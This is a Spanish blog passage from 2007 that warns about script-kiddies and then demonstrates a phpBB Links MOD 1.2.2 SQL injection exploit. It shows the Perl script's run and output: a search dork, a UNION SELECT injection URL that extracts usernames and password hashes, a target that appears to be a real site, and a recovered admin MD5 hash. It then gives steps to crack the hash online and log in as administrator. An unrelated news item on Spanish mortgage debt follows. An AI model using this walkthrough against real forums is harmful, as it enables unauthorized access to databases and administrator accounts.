2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.

Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.

Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.

Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.

Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).

h4x0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r--r-- 1 h4x0r h4x0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4x0r@tarro:~/Desktop/exploit$

y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.

h4x0r@tarro:~/Desktop/exploit$ perl phpBB2.pl

phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit

Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*

=> Insert URL
=> without ( http )
=>
www.motoqueros.cl

=> Insert directory
=> es: /forum/ - /phpBB2/
=>
/foros/

=> User ID
=> Number:
=>
1

Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b

Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.

Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.

1 de octubre de 2007

Las familias destinan casi el 50 por ciento de su renta a financiar la compra de una vivienda

La deuda hipotecaria de las familias registró hasta julio una nueva cifra récord, al llegar a los 624.797 millones de euros, pero su ritmo de crecimiento en este periodo, del 17 por ciento, siguió la senda de desaceleración iniciada a lo largo de 2006. Por otro lado, el esfuerzo salarial alcanza ya el 45 por ciento. Las familias españolas destinaron en el segundo trimestre del año el 44,8 por ciento de su renta bruta disponible a financiar la compra de vivienda, casi dos puntos más que al cierre de 2006 y la cifra más alta de la serie histórica.

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